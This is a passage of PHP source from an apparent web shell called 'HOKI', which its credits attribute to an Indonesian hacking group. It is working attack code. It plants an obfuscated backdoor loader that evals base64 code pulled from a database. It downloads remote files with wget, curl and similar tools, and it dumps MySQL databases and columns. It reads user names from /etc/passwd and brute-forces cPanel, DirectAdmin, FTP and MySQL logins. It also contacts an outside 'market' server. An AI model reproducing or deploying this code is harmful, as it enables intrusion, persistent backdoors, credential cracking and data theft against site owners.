array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Backdoor Loader: ', 'inputName' => 'file', 'inputValue' => $cwd, 'inputSize' => '50', 'placeholder' => true),
'td6' =>
array('color' => 'FFFFFF', 'tdName' => 'Key: ', 'inputName' => 'key', 'inputValue' => 'hoki', 'inputSize' => '50')
);
create_table($table);
echo("<p>{$select}</p>");
echo($textarea);
echo("<p><input type='submit' value=' '></p></form></p></center>");
if($_POST['hoki2']!=''&&$_POST['hoki3']!=''&&$_POST['hoki5']!=''&&$_POST['hoki6']!=''){
$dbhost = $_POST['hoki2'];
$dbuser = $_POST['hoki3'];
$dbpw = $_POST['hoki4'];
$dbname = $_POST['hoki5'];
$file = $_POST['hoki6'];
$method = $_POST['hoki7'];
$shell = $_POST['hoki8'];
$key = str_replace(array('"','\''),'',trim($_POST['hoki9']));
if($key=='')$key='hoki';
if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__HOKI_SHELL_CODE'];}
if($conn = mysqli_connect($dbhost,$dbuser,$dbpw,$dbname)){
$code = '<?php if(isset($_GET["hoki"])&&$_GET["hoki"]=="'.$key.'"){$conn=mysqli_connect("'.str_replace('"','\"',$dbhost).'","'.str_replace('"','\"',$dbuser).'","'.str_replace('"','\"',$dbpw).'","'.str_replace('"','\"',$dbname).'");$q=mysqli_query($conn,"SELECT `code` FROM hoki_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x($r["code"]);exit;}?>';
if(@is_file($file)&&@is_writable($file)){
@mysqli_query($conn,'DROP TABLE `hoki_bc`');
@mysqli_query($conn,'CREATE TABLE `hoki_bc` (code LONGTEXT)');
@mysqli_query($conn,'INSERT INTO `hoki_bc` VALUES("'.$shell.'")');
@file_put_contents($file,$code."
".@file_get_contents($file));
__alert($success."<br>Run With: ".basename($file)."?hoki=".$key.'</font>');}else{__alert($error);}}}}
echo('</div>');
hokifooter();
}
function hokiwhois(){
echo("<div class='header'><center><p><div class='txtfont_header'>| Whois |</div></p><p><form onsubmit=\"g('whois',null,this.url.value,'>>');return false;\"><div class='txtfont'>Url: </div> <input type='text' name='url' style='text-align:center;' size='50' placeholder='google.com'> <input type='submit' value=' '></form></p></center>");
if($_POST['hoki2']=='>>'&&!empty($_POST['hoki1'])){
$site = str_replace(array('http://','https://','www.','ftp://'),'',$_POST['hoki1']);
$target = 'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain='.$site;
$data = @file_get_contents($target);
if($data==''){$get = new HokiCURL();$get->ssl = true;$data = $get->Send($target);}
$target = @json_decode($data,true);
echo __pre();
if(is_array($target)){echo($target["whois_raw"]);}else{echo hokiEx("whois ".$site);}}
echo("</div>");
}
function hokiremotedl(){
hokihead();
echo("<div class='header'><center><p><div class='txtfont_header'>| Upload From Url |</div></p><p>
<form onsubmit=\"g('remotedl',null,this.d.value,this.p.value,'>>');return false;\">
<p><div class='txtfont'>Url: </div> <input type='text' name='d' size='50'></p>
<div class='txtfont'>Path:</div> <input type='text' name='p' size='50' value='".$GLOBALS['cwd']."'><p><input type='submit' value=' '></p>
</form></p></center>");
if(isset($_POST['hoki1'],$_POST['hoki2'],$_POST['hoki3'])&&!empty($_POST['hoki1'])&&$_POST['hoki3']=='>>'){
echo __pre();
$url = $_POST['hoki1'];
$path = $_POST['hoki2'];
echo('<center>');
if(__download($url,$path)){
echo('<font color="green">Success...!</font>');
}else{
echo('<font color="red">Error...!</font>');
}
echo('</center>');
}
echo("</div>");
hokifooter();
}
function __download($url,$path=false){
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
$saveas = basename(rawurldecode($url));
if($path){$saveas=$path.$saveas;}
if($content = __read_file($url)){
if(@is_file($saveas))@unlink($saveas);
if(__write_file($saveas, $content)){return true;}}
$buff = hokiEx("wget ".$url." -O ".$saveas);
if(@is_file($saveas)) return true;
$buff = hokiEx("curl ".$url." -o ".$saveas);
if(@is_file($saveas)) return true;
$buff = hokiEx("lwp-download ".$url." ".$saveas);
if(@is_file($saveas)) return true;
$buff = hokiEx("lynx -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = hokiEx("GET ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = hokiEx("links -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = hokiEx("fetch -o ".$saveas." -p ".$url);
if(@is_file($saveas)) return true;
return false;
}
function clean_string($string){
if(function_exists("iconv")){
$s = trim($string);
$s = iconv("UTF-8", "UTF-8//IGNORE", $s);
}
return $s;
}
function __read_file($file, $boom = true){
$content = false;
if($fh = @fopen($file, "rb")){
$content = "";
while(!feof($fh)){
$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
}
@fclose($fh);
}
if(empty($content)||!$content){
$content = hokiEx("cat '".addslashes($file)."'");
}
return $content;
}
function hokiMarket(){
echo "<div class='header'>";
$curl = new HokiCURL();
$content = $curl->Send("http://solevisible.com/market.php");
$data = @json_decode($content, true);
if(!empty($data)){
if($data["status"] == "open"){
echo $data["content"];
}else{
echo $data["error_msg"];
}
}else{
echo "<div style='text-align:center;font-size:20px;'>Cant connect to the hoki market....! try later.</div>";
}
echo "</div>";
}
function hokiSettings(){
hokihead();
HokiNum(6,7,8,9,10);
echo '<div class=header><center><p><div class="txtfont_header">| Settings |</div></p><h3><a href=javascript:void(0) onclick="g(\'settings\',null,null,null,null,null,null,null,null,\'main\')">| Generall Setting | </a></h3></center>';
if($_POST["hoki8"] == "main"){
echo '<p><center><div class="txtfont_header">| Settings |</div></p><form onSubmit="reloadSetting(this);return false;" method=\'post\'>';
$lg_array = array('0'=>'No','1'=>'Yes');
$penc_array = array('false'=>'No','true'=>'Yes');
$protect_html = "";
$icon_html = "";
$postEnc_html = "";
$login_html = "";
$cgiapi_html = "";
foreach($lg_array as $key=>$val)$protect_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['safemode']=='1'?'selected':'').'>'.$val.'</option>';
foreach($lg_array as $key=>$val)$icon_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['show_icons']=='1'?'selected':'').'>'.$val.'</option>';
foreach($penc_array as $key=>$val)$cgiapi_html .= '<option value="'.$key.'" '.(!empty($_POST['hoki9'])&&$_POST['hoki9']==$key?"selected":($GLOBALS["DB_NAME"]["cgi_api"]&&empty($_POST['hoki9'])?'selected':'')).'>'.$val.'</option>';
foreach($penc_array as $key=>$val)$postEnc_html .= '<option value="'.$key.'" '.(!empty($_POST['hoki7'])&&$_POST['hoki7']==$key?"selected":(__HOKI_POST_ENCRYPTION__&&empty($_POST['hoki7'])?'selected':'')).'>'.$val.'</option>';
$lg_array = array("gui"=>"GUI","500"=>"500 Internal Server Error","403"=>"403 Forbidden","404"=>"404 NotFound");
foreach($lg_array as $key=>$val)$login_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['login_page']==$key?'selected':'').'>'.$val.'</option>';
echo '';
echo '<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">'.$protect_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Cgi Api:</div></td><td><select name="cgi_api" style="width:100%;">'.$cgiapi_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">'.$postEnc_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">'.$icon_html.'</select></td></tr><tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">'.$login_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="'.(empty($_POST['hoki3'])?$GLOBALS['DB_NAME']['user']:$_POST['hoki3']).'" placeholder="kiseryouni"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="'.$GLOBALS['DB_NAME']['safemode'].'"><input type="hidden" name="s" value="'.$GLOBALS['DB_NAME']['show_icons'].'"><p><input type="submit" name="btn" value=" "></p></form></center>';
if($_POST['hoki5']=='>>'){
echo __pre();
if(!empty($_POST['hoki3'])){
$protect = $_POST['hoki1'];
$lgpage = $_POST['hoki2'];
$username = $_POST['hoki3'];
$password = md5($_POST['hoki4']);
$icon = $_POST['hoki6'];
$post_encrypt = $_POST['hoki7'];
$cgi_api_val = $_POST['hoki9'];
@chdir($GLOBALS['home_cwd']);
$basename = @basename($_SERVER['PHP_SELF']);
$data = @file_get_contents($basename);
$user_rand = $GLOBALS["DB_NAME"]["user_rand"];
$pass_rand = $GLOBALS["DB_NAME"]["pass_rand"];
$login_page_rand = $GLOBALS["DB_NAME"]["login_page_rand"];
$safemode_rand = $GLOBALS["DB_NAME"]["safemode_rand"];
$show_icons_rand = $GLOBALS["DB_NAME"]["show_icons_rand"];
$post_encryption_rand = $GLOBALS["DB_NAME"]["post_encryption_rand"];
$cgi_api_rand = $GLOBALS["DB_NAME"]["cgi_api_rand"];
$find_user = '/\''.$user_rand.'\'(.*?),/i';
$find_pw = '/\''.$pass_rand.'\'(.*?),/i';
$find_lg = '/\''.$login_page_rand.'\'(.*?),/i';
$find_p = '/\''.$safemode_rand.'\'(.*?),/i';
$icons = '/\''.$show_icons_rand.'\'(.*?),/i';
$postEnc = '/\''.$post_encryption_rand.'\'(.*?),/i';
$cgi_api_reg = '/\''.$cgi_api_rand.'\'(.*?),/i';
if(!empty($username)&&preg_match($find_user,$data,$e)){
$new = '\''.$user_rand.'\' => \''.$username.'\',';
$data = str_replace($e[0],$new,$data);
}
if(!empty($_POST['hoki4'])&&preg_match($find_pw,$data,$e)){
$new = '\''.$pass_rand.'\' => \''.$password.'\',';
$data = str_replace($e[0],$new,$data);
}
if(!empty($lgpage)&&preg_match($find_lg,$data,$e)){
$new = '\''.$login_page_rand.'\' => \''.$lgpage.'\',';
$data = str_replace($e[0],$new,$data);
}
if(!empty($find_p)&&preg_match($find_p,$data,$e)){
$new = '\''.$safemode_rand.'\' => \''.$protect.'\',';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($icons,$data,$e)){
$new = '\''.$show_icons_rand.'\' => \''.$icon.'\',';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($postEnc,$data,$e)){
$new = '\''.$post_encryption_rand.'\' => '.$post_encrypt.',';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($cgi_api_reg,$data,$e)){
$new = '\''.$cgi_api_rand.'\' => '.$cgi_api_val.',';
$data = str_replace($e[0],$new,$data);
}
if(@file_put_contents($basename,$data)){
echo '<b>UserName: </b><font color="green"><b>'.$username.'</b></font><br /><b>Password: </b><font color="green"><b>'.$_POST['hoki4'].'</b></font><script>post_encryption_mode = '.$post_encrypt.';</script>';
}else{
__alert("<span style='color:red;'>File has no edit access...!</span>");
}
}else{
__alert("<span style='color:red;'>UserName is Empty !</span>");
}
}
}elseif($_POST["hoki8"] == "color"){
echo('<center><p><div class="txtfont_header">| Custom Color |</div></p><form onSubmit="reloadColors();return false;" method=\'post\'>');
echo '<table border="1"><tbody>';
$template = '<tr><td style="text-align:center;"><a href="https://png.pngtree.com/png-clipart/20230308/ourmid/pngtree-logo-garuda-pancasila-red-white-eagle-for-dft-print-free-download-png-image_6637159.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>';
$x = 1;
foreach($GLOBALS['__HOKI_COLOR__'] as $key => $value){
$multi = "";
if(is_array($value)){
if(isset($value["multi_selector"])){
$multi = __ZW5jb2Rlcg(json_encode($value));
}
}
$value = hoki_getColor($key);
$help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));
echo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);
}
echo '<tr><td style="text-align:center;">-</td><td style="text-align:center;"><div class="tbltxt">*</div></td><td><div style="margin-left:5px;" class="tbltxt">Use Default Color:</div></td><td></td><td><center><input type="checkbox" id="use_default_color" value="1"></center></td></tr>';
echo '</tbody></table><p><input type="submit" name="btn" value=" "></p></form><p><button style="padding:4px;;margin-right:20px;" onclick="$(\'importFileBtn\').click();" class="button"> Import </button> <button style="padding:4px;margin-left:20px;" onclick="g(\'settings\',null,null,null,null,null,null,null,\'export\',\'color\')" class="button"> Export </button></center></p>';
if($_POST['hoki7']=='export'){
echo __pre();
$colors = is_array($GLOBALS["DB_NAME"]["color"])?$GLOBALS["DB_NAME"]["color"]:array();
$glob_colors = $GLOBALS["__HOKI_COLOR__"];
$array = array();
foreach($glob_colors as $k => $v){
if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
$v = trim($colors[$k]);
}else{
$v = trim(is_array($v)?$v["key_color"]:$v);
}
$array[$k] = $v;
}
$file = "hoki_color_config_".date('Y-m-d-h_i_s').".conf";
$config = json_encode($array, JSON_PRETTY_PRINT);
if(!@file_put_contents($file, $config)){
echo('<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">'.$config.'</textarea></center></p>');
}else{
echo('<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''.$file.'\', \'download\')"><font color="#0F0">Download Config</font></a></center></p></h3>');
}
}
if($_POST['hoki2']=='>>'){
echo __pre();
$colors = json_decode($_POST["hoki1"],true);
$array = "";
$is_default = isset($_POST["hoki3"])&&$_POST["hoki3"]=="1"?true:false;
$glob_colors = $GLOBALS["__HOKI_COLOR__"];
foreach($glob_colors as $k => $v){
if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
$v = trim($colors[$k]);
}else{
$v = trim(is_array($v)?$v["key_color"]:$v);
}
$array .= '"'.trim($k).'" => "'.$v.'",';
}
@chdir($GLOBALS['home_cwd']);
$basename = @basename($_SERVER['PHP_SELF']);
$data = @file_get_contents($basename);
$color = '/\'color\'(.*?)\),/s';
if(preg_match($color,$data,$e)){
$new = "'color' => array(".$array."),";
$data = str_replace($e[0],$new,$data);
if(@file_put_contents($basename, $data)){
echo("<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>");
}else{
echo("<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>");
}
}else{
echo("<center><p><h3>[-] Error...!</h3></p></center>");
}
}
}
echo('</div>');
hokifooter();
}
function hokiaboutus(){
hokihead();
echo '<div class="header">';
$news = new HokiCURL();
$about_us = $news->Send("https://www.google.co.id/search?q=misterhoki&sca_esv=28e9cba476193d42&sxsrf=ADLYWIK2D8F-Vt_u-99qKDmmszzpsPJHkQ%3A1717416115932&source=hp&ei=s7BdZt3XNtiR4-EP3oi9-A4&iflsig=AL9hbdgAAAAAZl2-w9Cwm3BwFczsV8T7wT3G9g5kdr67&oq=mister&gs_lp=Egdnd3Mtd2l6IgZtaXN0ZXIqAggAMgoQIxiABBgnGIoFMgsQABiABBixAxiDATILEAAYgAQYsQMYgwEyCxAAGIAEGLEDGIMBMgsQABiABBixAxiDATIQEAAYgAQYsQMYgwEYigUYCjILEAAYgAQYsQMYgwEyBRAAGIAEMgsQABiABBixAxiDATIFEAAYgARIrCFQlQhYzBZwBHgAkAEAmAGXAqAB3QiqAQU0LjQuMbgBA8gBAPgBAZgCDaAC9QioAgrCAgcQIxgnGOoCwgIEECMYJ8ICEBAAGIAEGLEDGEMYgwEYigXCAgsQLhiABBixAxiDAcICChAAGIAEGEMYigXCAg4QABiABBixAxiDARiKBcICCBAAGIAEGLEDwgIKEAAYgAQYsQMYCsICDhAuGIAEGMcBGI4FGK8BwgINEAAYgAQYsQMYgwEYCsICBxAAGIAEGAqYAweSBwU4LjQuMaAH9z8&sclient=gws-wiz");
if(empty($about_us)){
$about_us = "<pre><center><img src='https://i.ibb.co.com/Gsv3MNG/logo.png'><br>
<b><font size='+3' color='#00A220'>☮ ~ PEACE ~ ☮</font><br><b>
<font color='#00A220'>Shell Recoded By Kise Ryouni & Bocil (HOKI303)</font><br>
<font color='#00A220'>Contact : [email protected]</font><br>
<font color='#00A220'>Telegram: @kiseryouni</font><br>
<font color='#FF0000'>Indonesian Gulf For Ever</font><br>
<font color='#FF0000'>Dark Defence Cyber Team</font><br>
<font color='#FF0000'>############</font><br>
</center></pre><iframe src='tg://resolve?domain=kiseryouni' frameborder='0' width='0' height='0'></iframe>";
}
echo __pre().$about_us;
echo('</div>');
hokifooter();
}
function hokicoldumper(){
hokihead();
echo('<div class="header">');
HokiNum(8,9,10);
echo "<center><br><div class='txtfont_header'>| Mysql Column Dumper |</div><br><br>".getConfigHtml('all')."<form method='post' onsubmit=\"var opt_id=this.getAttribute('opt_id');var delimiter='json';try{if($('dumper-delimiter-type').value == 'delimiter')delimiter=$('dumper-delimiter-input').value}catch(e){};g('coldumper',null,delimiter,JSON.stringify(col_dumper_selected_data[opt_id]),this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); col_dumper_selected_data[opt_id] = {};return false;\"><p>";
$delimiter = (!empty($_POST['hoki1']) ? $_POST['hoki1'] : '::');
$selected_data = json_decode($_POST['hoki2'], true);
$username = ($_POST['hoki3']);
$password = ($_POST['hoki4']);
$dbname = ($_POST['hoki5']);
$dfile = ($_POST['hoki6']);
$host = ($_POST['hoki7']);
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => $host, 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => $username, 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => $password, 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => $dbname, 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Output Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']), 'inputSize' => '50')
);
create_table($table);
echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
$db = false;
if(!empty($dbname)){
$db = @mysqli_connect($host, $username, $password, $dbname);
}
if(count($selected_data) > 0){
if($db){
if(!is_dir($dfile)){
$dfile = $GLOBALS['cwd'];
}
$tbls = "";
$ext = '.txt';
if($delimiter == 'json'){
$ext = '.json';
}
foreach ($selected_data as $tbl => $cols) {
$tables_query = mysqli_query($db, "SELECT ".implode(',', $cols)." FROM $tbl");
$file_name = $dfile.'/'.$dbname.'.'.$tbl.$ext;
$fp = fopen($file_name, "w");
$data = array();
while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){
if($delimiter == "json"){
$col_arr = array();
foreach ($row as $key => $value) {
if(empty($value)){
$value = "[empty]";
}
$col_arr[$key] = $value;
}
$data[$tbl][] = $col_arr;
}else{
$data = "";
foreach ($row as $key => $value) {
if(empty($value)){
$value = "[empty]";
}
$data .= $value . $delimiter;
}
fwrite($fp, $data ."
");
}
}
if($delimiter == "json"){
fwrite($fp, json_encode($data));
}
fclose($fp);
$tbls .= "Done ~~~> ".$file_name."<br>";
}
echo __pre();
echo "<center><font color='#00FF00'>".$tbls."</font></center>";
}
}
if(!empty($dbname) && count($selected_data) == 0){
//echo __pre();
if($db){
echo("<hr><div style='text-align:center;margin-bottom:5px;font-weight:bolder;'><span>[ Select your tables and columns for dumping data ]</span></div>");
echo("<div style='text-align:center;'><span>Output Type: </span><select id='dumper-delimiter-type' onchange='colDumplerSelectType(this);' name='output_type'><option value='delimiter' selected>delimiter</option><option value='json'>json</option></select><div id='coldumper-delimiter-input' style='display:inline;'><span> Delimiter: </span><input id='dumper-delimiter-input' style='text-align:center;' type='text' name='delimiter' placeholder='eg: ,'></div></div>");
$data = array();
$tables_query = mysqli_query($db, "SELECT table_name FROM information_schema.tables WHERE table_schema = database();");
while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){
$data[$row["table_name"]] = array();
$table_count_q = mysqli_query($db, "SELECT count(*) FROM `".$row['table_name']."`");
$table_count = mysqli_fetch_row($table_count_q);
$data[$row["table_name"]]["data_count"] = $table_count[0];
$columns_query = mysqli_query($db, "SELECT column_name FROM information_schema.columns WHERE table_name = '".$row['table_name']."'");
while($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
$data[$row["table_name"]]["cols"][] = $row2["column_name"];
}
}
mysqli_close($db);
echo '<ul id="myUL">';
foreach($data as $tbl => $cols){
echo '<li><span style="color:#00FF00;" class="box">'.$tbl.' ('.$cols["data_count"].')</span><ul class="nested">';
foreach($cols["cols"] as $col){
echo '<li tbl="'.$tbl.'"><span style="color:#00FF00;" tbl="'.$tbl.'" class="box sub-box">' . $col . '</span></li>';
}
echo '</ul></li>';
}
echo '</ul>';
}else{
echo('<center>mysqli_connect : Error!</center>');
}
}
echo('</div>');
hokifooter();
}
function hokiDumper(){
hokihead();
echo('<div class="header">');
HokiNum(8,9,10);
echo "<center><br><div class='txtfont_header'>| Mysql Database Dumper |</div><br><br>".getConfigHtml('all')."<form method='post' onsubmit=\"g('dumper',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\"><p>";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Dump Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']).'hoki.sql', 'inputSize' => '50')
);
create_table($table);
echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
$username = ($_POST['hoki3']);
$password = ($_POST['hoki4']);
$dbname = ($_POST['hoki5']);
$dfile = ($_POST['hoki6']);
$host = ($_POST['hoki7']);
if(!empty($dbname)){
echo __pre();
$msg = "<center>Check this : <font color='red'>".$dfile."</font></center>";
if(@mysqli_connect($host,$username,$password,$dbname)){
if(strlen(hokiEx("mysqldump"))>0){
hokiEx("mysqldump --single-transaction --host=\"$host\" --user=\"$username\" --password=\"$password\" $dbname > '".addslashes($dfile)."'");
echo($msg);
}else{
__alert("Error...!");
}
}else{
echo('<center>mysqli_connect : Error!</center>');
}
}
echo('</div>');
hokifooter();
}
function Hoki_DirectAdmin_Cracker($info){
if(!$info['mysql'])
$url = $info['protocol'].$info['target'].':'.$info['port'].'/CMD_LOGIN';
else $url = $info['protocol'].$info['target'].'/phpmyadmin';
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_USERPWD, $info['username'].':'.$info['password']);
if($info['mysql'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/CMD_FILE_MANAGER|frameset/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Hoki_CP_Cracker($info){
$url = $info['protocol'].$info['target'].':'.$info['port'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info['username'].":".$info['password']) . "
"));
curl_setopt($curl, CURLOPT_URL, $url);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/filemanager/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Hoki_FTP_Cracker($info){
$url = $info['protocol'].$info['target'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERPWD, "".$info['username'].":".$info['password']."");
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/(\d+):(\d+)/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Hoki_Mysql_Cracker($info){
if(@mysqli_connect($info['target'].':'.$info['port'],$info['username'],$info['password'])){
CrackerResualt($info);
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
}
}
function Hoki_FTPC($info){
if($con=@ftp_connect($info['target'],$info['port'])){
if($con){
$login=@ftp_login($con,$info['username'],$info['password']);
if($login){CrackerResualt($info);}}}
@ftp_close($con);
}
function CrackerResualt($info){
$res = $info['target'].' => '.$info['username'].":".$info['password']."
" ;
$c = @fopen($info['fcrack'],'a+');
@fwrite($c, $res);
@fclose($c);
}
function Hoki_Call_Function_Cracker($method,$info){
switch($method){case 'cp':return Hoki_CP_Cracker($info);break;case 'direct': case 'phpmyadmin':return Hoki_DirectAdmin_Cracker($info);break;case 'ftp':return Hoki_FTP_Cracker($info);break;case 'mysql':return Hoki_Mysql_Cracker($info);break;case 'mysql':return Hoki_FTPC($info);break;}
}
function hokiCrackers(){
hokihead();
HokiNum(9,10);
echo '<div class="header"><center><br><div class="txtfont_header">| Brute Forcer |</div><br><br><form method="post" onsubmit="g(\'Crackers\',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,\'start\',this.protocol.value,this.loginpanel.value);return false;"><div class="txtfont">Login Page: <select onclick="dis_input(this.value);" name="loginpanel">';
foreach(array('cp'=>'Cpanel','direct'=>'DirectAdmin','ftp'=>'FTP','phpmyadmin'=>'PhpMyAdmin[DirectAdmin]','mysql'=>'mysql_connect()','ftpc'=>'ftp_connect()') as $key=>$val)echo('<option value="'.$key.'">'.$val.'</option>');
echo '</select> Protocol: <select id="protocol" name="protocol">';
foreach(array('https://','http://','ftp://') as $val)echo('<option value="'.$val.'">'.$val.'</option>');
echo '</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">
Port: <input id="port" type="text" name="port" value="2083">
<table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>
<textarea placeholder="Users" rows="20" cols="25" name="usernames">'.($GLOBALS['sys']=='unix'?hokiEx("cut -d: -f1 /etc/passwd"):"").'</textarea>
  <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>
Save Result Into File <input type="text" name="fcrack" value="cracked.txt">
<p><input type="submit" name="cracking" value=" " /></div></form></p><center>';
$target = str_replace(array('https://','http://','ftp://'),'',$_POST['hoki1']);
$port = $_POST['hoki2'];
$usernames= $_POST['hoki3'];
